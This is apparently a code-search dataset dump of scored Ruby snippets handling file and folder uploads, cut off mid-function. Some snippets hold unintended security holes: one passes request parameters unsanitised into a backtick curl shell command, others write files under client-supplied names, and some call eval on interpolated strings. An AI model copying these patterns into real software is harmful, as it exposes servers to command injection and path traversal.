"text": "def swfupload\n # swfupload action set in routes.rb\n \n # The content_type is set as application/octet by the flash program\n # Use mimetype-fu to determine the mimetype before passing it \n # to the attachment_fu enabled model\n # @basefile.save!\n # redirect( url(:folder,@basefile.folder_id) )\n \n p \"CRUUUUURD aarrrrrgg\"\np params \n p \"is this it now?\"\n \n p $taco\n p \"anything?\"\n \n p params[:Filedata]\n @basefile = Basefile.from(params[:Filedata].merge(:folder_id => params[:folder_id]))\n\n# @basefile = Basefile.from(params[:Filedata])\n #Basefile.from(params[:butt]) \n \n# params[:Filedata].content_type = File.mime_type?(params[:Filedata].original_filename)\n # @basefile = Basefile.from(params[:butt] => params[:Filedata])\n\n# @basefile.folder_id = $taco\n p \"CRUUUUURD\"\n p params[:folder_id]\n# @basenumber = @basefile.folder_id\n @basefile.save!\n redirect( \"folders/\"+\"#{@basenumber}\" )\n # redirect_to :controller => 'folders', :id => params[:id]\n \n # This returns the thumbnail url for handlers.js to use to display the thumbnail\n# rescue\n # render :text => \"Error\"\n end",
"title": ""
},
{
"docid": "8f4ea1ea8d283088b63a730add95facc",
"score": "0.6148191",
"text": "def upload_link(folder = nil, sha1 = nil, httponly = nil)\n get_a_request_and_return_in_a_struct(\"/file/ul#{login_parameter(true)}#{key_parameter}#{http_parameter('folder', folder)}#{http_parameter('sha1', sha1)}#{http_parameter('httponly', httponly)}\")\n end",
"title": ""
},
{
"docid": "8be4d4cabf120483a4b177f6dde1fab1",
"score": "0.6141968",
"text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join(remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n parent_id = find_id_from_path(remote_path)\n gdrive_upload(src, parent_id)\n end\n end",
"title": ""
},
{
"docid": "2536790db4262ffb58f946966cc16c86",
"score": "0.6139759",
"text": "def upload\n puts \"Uploading #{@upload_files.length} files...\" if @verbose\n @upload_files.each do |entry|\n if File.directory?(entry)\n make_dirs(entry)\n else\n put_file(entry)\n end\n end\n end",
"title": ""
},
{
"docid": "9f326b57ad0e5ea895da49ddb31ab77b",
"score": "0.6134493",
"text": "def remote_upload(url, folder = nil , headers = nil)\n if is_logged?\n get_a_request_and_return_in_a_struct(\"/remotedl/add#{login_parameter(true)}#{key_parameter}#{http_parameter('url', url)}#{http_parameter('folder',folder)}#{http_parameter('headers', headers)}\")\n else\n raise \"You need a login and a api key to make remote uploads!\"\n end\n end",
"title": ""
},
{
"docid": "ed9c2cb4d233817cbbec6a471fd26b96",
"score": "0.6127756",
"text": "def upload\n __log_activity\n __debug_route\n __debug_request\n prm = current_params.dup\n ids = prm.extract!(*model_options.identifier_keys)\n id = ids[:id].presence || ids.values.compact.first\n fd = true?(request.headers['X-Update-FileData-Only'])\n stat, hdrs, body = upload_file(**prm, id: id, update_time: !fd)\n self.status = stat if stat.present?\n self.headers.merge!(hdrs) if hdrs.present?\n self.response_body = body if body.present?\n rescue Record::SubmitError => error\n post_response(:conflict, error, xhr: true)\n rescue => error\n post_response(error, xhr: true)\n end",
"title": ""
},
{
"docid": "679862c2665b28b0e7d8c6114379f12f",
"score": "0.61191803",
"text": "def upload\n\n #http://www.dropzonejs.com/\n uploaded_file = params[:file]\n folder = params[:folder_id]\n\n temp_file = File.open(Rails.root.join('tmp', uploaded_file.original_filename), 'wb')\n begin\n temp_file.write(uploaded_file.read)\n temp_file.close\n\n box_user = Box.user_client(session[:box_id])\n\n box_file = box_user.upload_file(temp_file.path, folder)\n #box_user.create_metadata(box_file, session[:meta])\n\n rescue => ex\n puts ex.message\n ensure\n File.delete(temp_file)\n end\n\n flash[:notice] = \"Successfully Uploaded!\"\n respond_to do |format|\n format.json{ render :json => {} }\n end\n end",
"title": ""
},
{
"docid": "22c5a7e90496ff601c5a78e3bd600673",
"score": "0.6117823",
"text": "def folder_params\n params.require(:folder).permit(:category, :unique_id, :user_id, :subject)\n end",
"title": ""
},
{
"docid": "b9aa13e490c76c0b245ae8996131e5d9",
"score": "0.6108659",
"text": "def upload_folder_ftp(ftp, folder, ftp_dir, skip=[])\n\n # Iterate through the directories contents - recursively handling\n # directories - and upload to the server.\n Dir.entries(folder).each do |file|\n\n # Skip . and ..\n if file == \".\" or file == \"..\"\n next\n end\n\n # Create the full path\n file_path = File.join(folder, file)\n ftp_path = File.join(ftp_dir, file)\n\n if File.directory?(file_path)\n puts \"Creating server directory: \".magenta + \"#{ftp_path}\"\n ftp.mkdir(ftp_path)\n upload_folder_ftp(ftp, file_path, ftp_path, skip)\n else\n puts \"Uploading: \".magenta + \" #{file_path}\" + \" to \".magenta + \"#{ftp_path}\"\n ftp.putbinaryfile(file_path, ftp_path)\n end\n\n end\n\nend",
"title": ""
},
{
"docid": "ac6f0061471cc7443664e7bf86c4c7c4",
"score": "0.61062956",
"text": "def file_upload(password_digest, parentfile, publicfile)\n db = db_connect\n if parentfile.nil?\n return \"ERROR: Please select a file you want to upload, lol\"\n end\n user_id = get_user_id(password_digest)\n filename = parentfile[:filename]\n file = parentfile[:tempfile]\n # path = \"files/#{user_id}/#{filename}\"\n path = \"files/#{user_id}\"\n public_file = 0\n\n if publicfile\n path = \"public/\" + path\n public_file = 1\n else\n path = \"private/\" + path\n end\n\n Dir.mkdir path unless Dir.exist?(path)\n\n path = \"./#{path}/#{filename}\"\n\n i = 1\n dotpos = 0\n while File.exist?(path)\n j = 1\n if dotpos == 0\n while path.length > j\n if path[-j] == \".\"\n dotpos = -j - 1\n break\n elsif path[-j] == \"/\" && j > 1\n dotpos = -1\n break\n end\n j += 1\n end\n end\n\n # Filen existerar, så den får ett nytt namn\n path = +path\n if i == 1\n path = path.insert(dotpos, \".#{i}\")\n else\n path[dotpos - ((i - 1).to_s.length - 1)..dotpos] = i.to_s\n end\n i += 1\n end\n\n File.open(path, \"wb\") do |f| # wb is the shit, w+ is not good and corrupts everything\n f.write(file.read)\n end\n\n db.execute(\"INSERT INTO files (date, path, public) VALUES (?, ?, ?);\", Time.now.to_i, path, public_file)\n file_id = db.execute(\"SELECT id FROM files WHERE path = ?\", path)[0][\"id\"]\n db.execute(\"INSERT INTO files_users (file_id, user_id) VALUES (?, ?);\", file_id, user_id)\n\n categories = parentfile[:type].split(\"/\")\n categories.each do |category|\n category_id = db.execute(\"SELECT id FROM category WHERE category_name = ?\", category.chomp)\n if category_id == []\n db.execute(\"INSERT INTO category (category_name) VALUES (?);\", category.chomp)\n category_id = db.execute(\"SELECT id FROM category WHERE category_name = ?\", category.chomp)\n end\n\n db.execute(\"INSERT INTO category_files (cat_id, file_id) VALUES (?, ?);\", category_id[0][\"id\"], file_id)\n end\n end",
"title": ""
},
{
"docid": "100bf3ec687f69daad1854ad61e38c87",
"score": "0.6105807",
"text": "def tr_upload(uploadId,fname,filepath)\n\t\turl = URI(\"https://transkribus.eu/TrpServer/rest/uploads/#{uploadId}?JSESSIONID=\"+@sessionId)\n\t\thttp = Net::HTTP.new(url.host,url.port)\n\t\thttp.use_ssl = true\n\t\theader = {\"Content-Type\" => 'multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW'}\n\t\trequest = Net::HTTP::Put.new(url,header)\n\t\trequest.body = \"------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"img\\\"; filename=\\\"#{fname}\\\"\\r\\nContent-Type: image/jpeg\\r\\n\\r\\n\"+File.read(filepath)+\"\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\"\n\t\treturn Nokogiri::XML(http.request(request).body).xpath('//jobId')[0].to_s[/\\>(.*?)</,1] #jobId\n\tend",
"title": ""
},
{
"docid": "726a10a3dfcc0607b354fcff4a8d2f6d",
"score": "0.610209",
"text": "def do_the_upload\n @myfile = Myfile.new(params[:myfile])\n @myfile.folder_id = folder_id\n @myfile.date_modified = Time.now\n @myfile.user = @logged_in_user\n\n # change the filename if it already exists\n if USE_UPLOAD_PROGRESS and not Myfile.find_by_filename_and_folder_id(@myfile.filename, folder_id).blank?\n @myfile.filename = @myfile.filename + ' (' + Time.now.strftime('%Y%m%d%H%M%S') + ')' \n end\n\n if @myfile.save\n if USE_UPLOAD_PROGRESS\n return_url = url_for(:controller => 'folder', :action => 'list', :id => folder_id)\n render :text => %(<script type=\"text/javascript\">window.parent.UploadProgress.finish('#{return_url}');</script>)\n else\n redirect_to :controller => 'folder', :action => 'list', :id => folder_id\n end\n else\n render :template =>'file/upload_without_progress' unless USE_UPLOAD_PROGRESS\n end\n end",
"title": ""
},
{
"docid": "d710e15738eba3104fdb2aaf6a1647a2",
"score": "0.6099821",
"text": "def folder_params\n params.require(:folder).permit(:name, :parent_id)\n end",
"title": ""
},
{
"docid": "d710e15738eba3104fdb2aaf6a1647a2",
"score": "0.6099821",
"text": "def folder_params\n params.require(:folder).permit(:name, :parent_id)\n end",
"title": ""
},
{
"docid": "9c0704600d055ddad54d494206d0f4d8",
"score": "0.6094938",
"text": "def upload_file token, folder_id, file_path\n uri = URI.parse \"https://#{get_hostname(token)}/sf/v3/Items(#{folder_id})/Upload\"\n puts uri \n \n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n \n request = Net::HTTP::Get.new uri.request_uri\n request['Authorization'] = get_authorization_header token \n \n response = http.request request\n puts \"#{response.code} #{response.message}\"\n \n if response.kind_of? Net::HTTPSuccess \n upload_config = JSON.parse response.body\n if upload_config[\"ChunkUri\"]\n upload_response = multipart_form_post upload_config['ChunkUri'], file_path\n puts \"Upload Complete: #{upload_response.code} #{upload_response.message}\"\n end\n end\nend",
"title": ""
},
{
"docid": "0139b1d0474643ca978ed5d74a29b674",
"score": "0.60926175",
"text": "def upload_file\n project = self.task.project\n task = self.task\n\n file = url_path.read\n self.original_name = url_path.original_filename\n self.version = DocumentTask.where(:name => self.name).count + 1\n\n final_name = \"#{self.name}.v#{self.version}#{File.extname(original_name)}\"\n file_path = project.name + \"/\" + task.name + \"/\" + final_name\n dbsession = DropboxSession.deserialize(project.dropbox_token)\n client = DropboxClient.new(dbsession)\n response = client.put_file(file_path, file)\n link = client.shares(response[\"path\"])\n self.url_path = link[\"url\"]\n end",
"title": ""
},
{
"docid": "3b912efdd64f8bf7ee4492cc99c08e0f",
"score": "0.60868955",
"text": "def copyFiles\r\n\r\n typString = params[:typ]\r\n dlm = params[:dlm]\r\n Config::Settings.dlm= dlm if dlm\r\n if typString\r\n typ = typString.to_i\r\n if typ == 1 or typ == 2 or typ == 3 or typ == 4\r\n toLocation = @folder.storage.location(typ)\r\n mk = toLocation.mkDirectories(@folder)\r\n if typ == 3 or typ == 4 # if thumbnails!\r\n message = @folder.storage.location(1).copyFiles(toLocation,@folder,true)\r\n else # if web \r\n message = @folder.storage.originLocation.copyFiles(toLocation,@folder,false, 1000)\r\n end\r\n\r\n flash[:notice] = message\r\n end\r\n end\r\n redirect_to @folder\r\n end",
"title": ""
},
{
"docid": "b75f11a3ed08944c8bbfcd043191e91a",
"score": "0.6083725",
"text": "def upload_file(file_path)\n ext = File.extname(file_path).downcase\n available_containers.each do |container|\n instance_variable_set \"@#{container}_ids\", []\n end\n file_name = File.basename(file_path)\n private_workspace = current_user.private_workspace\n available_items = private_workspace.available_items.split(',') & current_container.available_items.split(',')\n @workspace_ids << private_workspace.id\n if current_container != private_workspace\n eval(\"@#{current_container_type}_ids << #{current_container.id}\") \n end\n if ['.png','.jpeg','.gif','.jpg','.bmp'].include?(ext) && available_items.include?('image')\n i = Image.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.image = File.new(file_path)\n available_containers.each do |container|\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n if i.save\n logger.info(\"Image with id #{i.id} created\")\n end\n elsif ['.wav','.mp3','.wma','.mp4'].include?(ext) && available_items.include?('audio')\n i = Audio.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.audio = File.new(file_path)\n available_containers.each do |container|\n p \">>>>>>>>>>>>>>>>>>>>>..\"\n p container\n p eval(\"@#{container}_ids\")\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n i.save\n if i.save\n i.update_attributes(:state => 'uploaded')\n Delayed::Job.enqueue(EncodingJob.new({:type=>\"audio\", :id => i.id, :enc=>\"mp3\"}))\n logger.info(\"Audio with id #{i.id} created\")\n end\n elsif [\".mov\", \".mpeg\", \".mpg\", \".3gp\", \".flv\", \".avi\"].include?(ext) && current_container.available_items.split(',').include?('video')\n i = Video.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.video = File.new(file_path)\n available_containers.each do |container|\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n if i.save\n i.update_attributes(:state => 'uploaded')\n Delayed::Job.enqueue(EncodingJob.new({:type=>\"video\", :id => i.id, :enc=>\"flv\"}))\n logger.info(\"Video with id #{i.id} created\")\n end\n elsif [\".txt\",\".doc\",\".pdf\"].include?(ext) && available_items.include?('cms_file')\n i = CmsFile.new(:title => file_name, :description => file_name, :user_id => current_user.id, :source => 'zip')\n i.cmsfile = File.new(file_path)\n available_containers.each do |container|\n i.send(\"associated_#{container.pluralize}=\", eval(\"@#{container}_ids\"))\n end\n if i.save\n logger.info(\"CmsFile with id #{i.id} created\")\n end\n else\n logger.error(\"Item with extension #{ext} is not allowed\") \n end\n end",
"title": ""
},
{
"docid": "246120372bffb44f5a39ee2362a24bfc",
"score": "0.6081467",
"text": "def file_upload \n @project = Project.find params[:id]\n tmp = params[:file].tempfile\n file = File.join @project.path, params[:file].original_filename\n FileUtils.cp tmp.path, file\n if params[:file]\n image_commit @project, params[:file]\n flash[:notice] = \"Your new image was added successfully! How sparkly!\"\n else\n flash[:alert] = \"Your new image didn't get saved! How sad :(\"\n end\n redirect_to url_for(@project)\n end",
"title": ""
},
{
"docid": "5d85110c17d3e9d5a5963a195e4d6420",
"score": "0.6078605",
"text": "def folder_params\n params.require(:folder).permit(:name, :parent_folder_id)\n end",
"title": ""
},
{
"docid": "6ea69a0f646fa889dcd541b93fcfeff1",
"score": "0.60766387",
"text": "def file_upload\n branch = params[:branch] || 'master'\n if params[:file]\n if user_signed_in? && @project.add_images(\n branch,\n params[:destination],\n params[:file],\n @user.git_author_params\n )\n sentence = view_context.pluralize(params[:file].size, 'image')\n flash[:notice] = \"Successfully added #{sentence}! How sparkly!\"\n redirect_to project_tree_path(@project, branch)\n else\n flash[:alert] = \"An error prevented your #{sentence} from being saved\"\n redirect_to :back\n end\n else\n flash[:alert] = 'No image selected!'\n redirect_to :back\n end\n end",
"title": ""
},
{
"docid": "39acfd341fb1c5e1557f953d3d704697",
"score": "0.6075001",
"text": "def create_folder\n\n\t\t@company = current_user.company\n\n\t\tfull_name = 'companies/' + @company.id.to_s + '/' + params[:folder_name] + '/'\n\n\t\t#s3_bucket = Aws::S3::Resource.new.bucket(ENV['S3_BUCKET'])\n\t\ts3 = Aws::S3::Client.new\n\t\ts3.put_object(bucket: ENV['S3_BUCKET'], key: full_name)\n \t#obj = s3_bucket.object(full_name)\n\n \tredirect_to '/get_company_files', notice: 'Carpeta creada correctamente'\n\n\tend",
"title": ""
},
{
"docid": "773a335459db927155392ecc16c3a190",
"score": "0.60715306",
"text": "def upload_files (files)\n @@container.archive_in files, '.'\n end",
"title": ""
},
{
"docid": "2def4b5249f9a65b9d826c4c3a5fbaf6",
"score": "0.60714406",
"text": "def test_save_photos\n params = {:id=>\"816717565610925385\",:upload_files=>{\"f1\"=>uploaded_file(\"c:/temp/m.zip\")}}\n \n\n end",
"title": ""
},
{
"docid": "46a49fbfdffc8913489956f88d00faf4",
"score": "0.6061066",
"text": "def uploads(*name) end",
"title": ""
},
{
"docid": "f1e00d7a409f4e3838d42c12cd73271f",
"score": "0.6052067",
"text": "def upload(file, content_type, relative_path)\n end",
"title": ""
},
{
"docid": "99567644b8c7e74860c274b7477beb46",
"score": "0.60485697",
"text": "def file_upload\n branch = params[:branch] || 'master'\n if params[:file]\n if user_signed_in? && @project.add_images(\n branch,\n params[:destination],\n params[:file],\n @user.git_author_params\n )\n sentence = view_context.pluralize(params[:file].size, 'image')\n flash[:notice] = \"Successfully added #{sentence}! How sparkly!\"\n redirect_to project_tree_path(@project, branch)\n else\n flash[:alert] = \"An error prevented your #{sentence} from being saved\"\n redirect_to project_newfile_path(@project, branch)\n end\n else\n flash[:alert] = 'No image selected!'\n redirect_to project_newfile_path(@project, branch)\n end\n end",
"title": ""
},
{
"docid": "00c3fb61674162d26475965ad13b751e",
"score": "0.6047294",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n#@folder = Folder.find_by_id_and_user_id(params[:id],:user_id => current_user.id)\n\n end",
"title": ""
},
{
"docid": "b3914b449225b1d667c0685fd7582331",
"score": "0.60427123",
"text": "def upload_file\n\tproject = self.use_case.project\n\n\tfile = url_path.read\n whole_name = url_path.original_filename\n final_name = self.name + \".v1.0\" + File.extname(whole_name)\n file_path = project.name + \"/UseCases/\" + self.name + \"/\" + final_name\n dbsession = DropboxSession.deserialize(project.dropbox_token)\n client = DropboxClient.new(dbsession)\n response = client.put_file(file_path, file)\n link = client.shares(response[\"path\"])\n self.url_path = link[\"url\"]\n end",
"title": ""
},
{
"docid": "91cfc0788f7212a5450790539cc0e84a",
"score": "0.6040449",
"text": "def folder_params\n params.require(:folder).permit(:name, :folder_path, :dirty_flag, :service_folder_id, :parent_id)\n end",
"title": ""
},
{
"docid": "2ee7d90030401914da56fb356a10a08c",
"score": "0.6035661",
"text": "def upload(file_path, params = {})\n raise Exception unless File.exist? file_path\n dest_path = path_trim(params.delete(:to) || '/')\n folder_id = self.add_folder dest_path\n file_name = params.delete(:as) || File.basename(file_path)\n overwrite = params.delete :overwrite\n\n # Check file already exists within a folder\n listfiles_params = {\n :realfolder => folder_id,\n :filename => \"#{file_name}\",\n :fields => 'md5hex,size',\n :parser => :csv\n }\n listfiles_response = self.listfiles listfiles_params\n\n file_already_exists = ('NONE' != listfiles_response[0][0])\n remove_file \"#{dest_path}/#{file_name}\" if file_already_exists && overwrite\n\n # In case of file is not existing then upload it\n if !file_already_exists || overwrite\n upload_server = \"rs#{self.nextuploadserver}.rapidshare.com\"\n\n upload_params = {\n :server => upload_server,\n :folder => folder_id,\n :filename => file_name,\n :filecontent => file_path,\n :method => :post,\n :parser => :csv\n }.merge params\n\n resp = request(:upload, upload_params)\n raise Exception, \"File uploading failed: #{resp.inspect}\" unless \"COMPLETE\" == resp[0][0]\n\n id = resp[1][0].to_i\n md5_hash = resp[1][3]\n size = resp[1][2].to_i\n already_exists = false\n else\n id = listfiles_response[0][0].to_i\n md5_hash = listfiles_response[0][1]\n size = listfiles_response[0][2].to_i\n already_exists = true\n end\n\n raise Exception, \"Invalid File ID: #{resp.inspect}\" unless id\n raise Exception, \"Invalid MD5 hash: #{resp.inspect}\" unless md5_hash\n raise Exception, \"Invalid File Size: #{resp.inspect}\" unless size\n\n {\n :id => id,\n :size => size,\n :checksum => md5_hash.downcase,\n :url => \"https://rapidshare.com/files/#{id}/#{URI::encode file_name}\",\n :already_exists? => already_exists\n }\n end",
"title": ""
},
{
"docid": "faf81f0445f8355ef796abefcb5c17a9",
"score": "0.6028043",
"text": "def mass_upload\n if Gallery.create_from_directory params[:directory]\n redirect_to :action => 'follow_import'\n else\n flash[:notice] = 'the directory is not a directory'\n render :action => 'new'\n end\n rescue ActiveRecord::RecordInvalid\n render :action => 'new'\n end",
"title": ""
},
{
"docid": "f4cf77ec55fc07054da121a9f9b07669",
"score": "0.60189444",
"text": "def upload_file(bucket_id, local_file, destination, params={})\n # puts \"upload_file #{local_file} to destination #{destination}\"\n # destination should be the full filePath, but the api looks like directory?filename=\n path = destination.to_s.squeeze(\"/\")\n if !path || path == \"\" || path == \"/\" || path == \".\"\n raise \"#{self.class}.upload_file() passed a bad destination: '#{destination}'\"\n end\n if path[0].chr == \"/\"\n path = path[1..-1]\n end\n path_chunks = path.split(\"/\")\n filename = path_chunks.pop\n safe_dirname = path_chunks.collect {|it| CGI::escape(it) }.join(\"/\")\n # filename = File.basename(destination)\n # dirname = File.dirname(destination)\n # if filename == \"\" || filename == \"/\"\n # filename = File.basename(local_file)\n # end\n url = \"#{@base_url}/api/archives/buckets/#{CGI::escape(bucket_id.to_s)}\" + \"/files/#{safe_dirname}\".squeeze('/')\n headers = { :params => params, :authorization => \"Bearer #{@access_token}\", 'Content-Type' => 'application/octet-stream'}\n headers[:params][:filename] = filename # File.basename(destination)\n if !local_file.kind_of?(File)\n local_file = File.new(local_file, 'rb')\n end\n payload = local_file\n headers['Content-Length'] = local_file.size # File.size(local_file)\n execute(method: :post, url: url, headers: headers, payload: payload, timeout: 172800)\n end",
"title": ""
},
{
"docid": "3425fcf98ac6cbdb01441ccef37323bf",
"score": "0.6018323",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "3425fcf98ac6cbdb01441ccef37323bf",
"score": "0.6018323",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "3425fcf98ac6cbdb01441ccef37323bf",
"score": "0.6018323",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "1aaf18a6904a639a206ad3b1253d146f",
"score": "0.60130465",
"text": "def folder_params\r\n params.require(:folder).permit(:storage_id, :title, :mpath, :lfolder, :mfile_id, :storage_id, :dlm)\r\n end",
"title": ""
},
{
"docid": "d656ba61d068a64bdc4ed49a4f3424bf",
"score": "0.6001226",
"text": "def upload\n # post = save_file(params[:upload], params[:uuid].to_s())\n upload = params[:upload]\n @mdo = Msg_dohicky.new(get_remote_addr, Home)\n \n if (upload.to_s.empty?)\n @mdo.set_message(\"No file name so nothing was uploaded.\", true)\n redirect_to :action => 'index'\n return\n end\n\n name = upload.original_filename\n base_name = File.basename(name)\n\n # Cleanse bad chars from file names.\n base_name.gsub!(/[^A-Za-z0-9\\-_\\.]/, '_')\n save_dir = Orig\n dir_label = \"origin directory\"\n\n if (! File.exists?(save_dir))\n @mdo.set_message(\"Directory #{save_dir} does not exist. File not saved.\", true)\n redirect_to :action => 'index'\n return \n end\n\n # Create the full file path\n # path = File.join(directory, name)\n # write the file\n File.open(\"#{save_dir}/#{base_name}\", \"wb\") { |myupload|\n myupload.write(upload.read)\n }\n @mdo.set_message(\"File #{base_name} has been uploaded to #{dir_label}.\", true)\n\n redirect_to :action => 'index'\n end",
"title": ""
},
{
"docid": "3b1dc7ec1c5b0d40b1e01861ac85c409",
"score": "0.5997826",
"text": "def update_files\n assignment_id = params[:assignment_id]\n unzip = params[:unzip] == 'true'\n @assignment = Assignment.find(assignment_id)\n raise t('student.submission.external_submit_only') if current_role.student? && !@assignment.allow_web_submits\n\n @path = params[:path].presence || '/'\n\n if current_role.student?\n @grouping = current_role.accepted_grouping_for(assignment_id)\n unless @grouping.is_valid?\n set_filebrowser_vars(@grouping)\n flash_file_manager_messages\n head :bad_request\n return\n end\n else\n @grouping = @assignment.groupings.find(params[:grouping_id])\n end\n\n # The files that will be deleted\n delete_files = params[:delete_files] || []\n\n # The files that will be added\n new_files = params[:new_files] || []\n\n # The folders that will be added\n new_folders = params[:new_folders] || []\n\n # The folders that will be deleted\n delete_folders = params[:delete_folders] || []\n\n # The new url that will be added\n new_url = params[:new_url] || ''\n\n unless delete_folders.empty? && new_folders.empty?\n authorize! to: :manage_subdirectories?\n end\n\n if delete_files.empty? && new_files.empty? && new_folders.empty? && delete_folders.empty? && new_url.empty?\n flash_message(:warning, I18n.t('student.submission.no_action_detected'))\n else\n messages = []\n @grouping.access_repo do |repo|\n # Create transaction, setting the author. Timestamp is implicit.\n txn = repo.get_transaction(current_user.user_name)\n should_commit = true\n path = Pathname.new(@grouping.assignment.repository_folder).join(@path.gsub(%r{^/}, ''))\n\n if current_role.student? && @grouping.assignment.only_required_files\n required_files = @grouping.assignment.assignment_files.pluck(:filename)\n .map { |name| File.join(@grouping.assignment.repository_folder, name) }\n else\n required_files = nil\n end\n\n if new_url.present?\n url_filename = params[:url_text]\n raise I18n.t('submissions.urls_disabled') unless @assignment.url_submit\n raise I18n.t('submissions.invalid_url', item: new_url) unless is_valid_url?(new_url)\n raise I18n.t('submissions.no_url_name', url: new_url) if url_filename.blank?\n url_file = Tempfile.new\n url_file.write(new_url)\n url_file.rewind\n url_filename = FileHelper.sanitize_file_name(url_filename)\n new_url_file = ActionDispatch::Http::UploadedFile.new(filename: \"#{url_filename}.markusurl\",\n tempfile: url_file,\n type: 'text/url')\n success, msgs = add_file(new_url_file, current_role, repo,\n path: path, txn: txn, check_size: true, required_files: required_files)\n should_commit &&= success\n messages.concat msgs\n end\n\n upload_files_helper(new_folders, new_files, unzip: unzip) do |f|\n if f.is_a?(String) # is a directory\n authorize! to: :manage_subdirectories? # ensure user is authorized for directories in zip files\n success, msgs = add_folder(f, current_role, repo, path: path, txn: txn, required_files: required_files)\n else\n success, msgs = add_file(f, current_role, repo,\n path: path, txn: txn, check_size: true, required_files: required_files)\n end\n should_commit &&= success\n messages.concat msgs\n end\n if delete_files.present?\n success, msgs = remove_files(delete_files, current_role, repo, path: path, txn: txn)\n should_commit &&= success\n messages.concat msgs\n end\n if delete_folders.present?\n success, msgs = remove_folders(delete_folders, current_role, repo, path: path, txn: txn)\n should_commit &&= success\n messages.concat msgs\n end\n if should_commit\n commit_success, commit_msg = commit_transaction(repo, txn)\n flash_message(:success, I18n.t('flash.actions.update_files.success')) if commit_success\n messages << commit_msg\n else\n head :unprocessable_entity\n end\n end\n flash_repository_messages messages, @grouping.course\n set_filebrowser_vars(@grouping)\n flash_file_manager_messages\n end\n rescue StandardError => e\n flash_message(:error, e.message)\n head :bad_request\n end",
"title": ""
},
{
"docid": "8cfa820e3ba7bb4b248d4d282f7241d0",
"score": "0.5995512",
"text": "def upload_file\n name = params[:media][:payload].original_filename\n filename = params[:filename]\n folderId = params[:folder_id]\n directory = \"/tmp/\"\n path = File.join(directory, name)\n File.open(path, \"wb\") { |f| f.write(params[:media][:payload].read) }\n serverPath = '@' + path;\n content_type = params[:media][:payload].content_type\n\n if(content_type == 'image/png' || content_type == 'image/gif' || content_type == 'image/jpg' || content_type == 'image/jpeg')\n type = 'image'\n elsif (content_type == \"application/force-download\" || content_type == 'application/pdf' || content_type == 'application/vnd.ms-excel' || content_type == 'application/vnd.ms-excel' || content_type == 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' || content_type == 'application/msword' || content_type == 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' || content_type == 'text/plain')\n type = 'document'\n elsif (content_type == 'audio/mpeg' || content_type == 'audio/x-mpeg' || content_type == 'audio/mp3' || content_type == 'audio/x-mp3' || content_type == 'audio/mpeg3' || content_type == 'audio/x-mpeg3' || content_type == 'audio/mpg' || content_type == 'audio/x-mpg' || content_type == 'audio/x-mpegaudio')\n type = 'audio'\n elsif (content_type == 'video/x-flv' || content_type == 'video/x-flv' || content_type == 'video/MP2T' || content_type == 'video/3gpp' || content_type == 'video/quicktime' || content_type == ' video/x-msvideo' || content_type == 'video/x-ms-wmv' || content_type == 'video/mpeg')\n type = 'video'\n end\n apiURL = RequestStore.store[:api_url] + '/media' #http://api.convo.code10.ca/api/v1/media/\n curlRes = `curl -X POST -F\"medium[payload]=#{serverPath};type=#{content_type}\" -F\"type=#{type}\" -F\"medium[name]=#{filename}\" -F\"medium[parent_id]=#{folderId}\" -H \"Authorization: Token token=\"#{@token}\", email=\"#{@email}\", app_key=\"#{@appKey}\"\" \"#{apiURL}\" -v`;\n #abort(curlRes.inspect)\n message = ''\n if curlRes.nil? || curlRes.blank?\n message = 'File is not uploaded'\n else\n curlRes = JSON.parse(curlRes);\n if curlRes['payload_content_type'] != nil and curlRes['payload_content_type'][0] == \"is Fnvalid\"\n message = 'File is not uploaded'\n else\n message = 'File is uploaded'\n File.delete(path)\n end\n end\n flash[:notice] = message\n redirect_to \"/media\"\n end",
"title": ""
},
{
"docid": "dad8b6fb7f9d34276ba5ecf5cac7f14d",
"score": "0.5992524",
"text": "def set_folder\r\n @folder = Folder.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "dad8b6fb7f9d34276ba5ecf5cac7f14d",
"score": "0.5992524",
"text": "def set_folder\r\n @folder = Folder.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "a52b4027f63c29594b6045ed3cc97e38",
"score": "0.59863997",
"text": "def upload_file_to_folder_with_http_info(xero_tenant_id, folder_id, body, name, filename, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FilesApi.upload_file_to_folder ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling FilesApi.upload_file_to_folder\"\n end\n # verify the required parameter 'folder_id' is set\n if @api_client.config.client_side_validation && folder_id.nil?\n fail ArgumentError, \"Missing the required parameter 'folder_id' when calling FilesApi.upload_file_to_folder\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling FilesApi.upload_file_to_folder\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling FilesApi.upload_file_to_folder\"\n end\n # verify the required parameter 'filename' is set\n if @api_client.config.client_side_validation && filename.nil?\n fail ArgumentError, \"Missing the required parameter 'filename' when calling FilesApi.upload_file_to_folder\"\n end\n # resource path\n local_var_path = '/Files/{FolderId}'.sub('{' + 'FolderId' + '}', 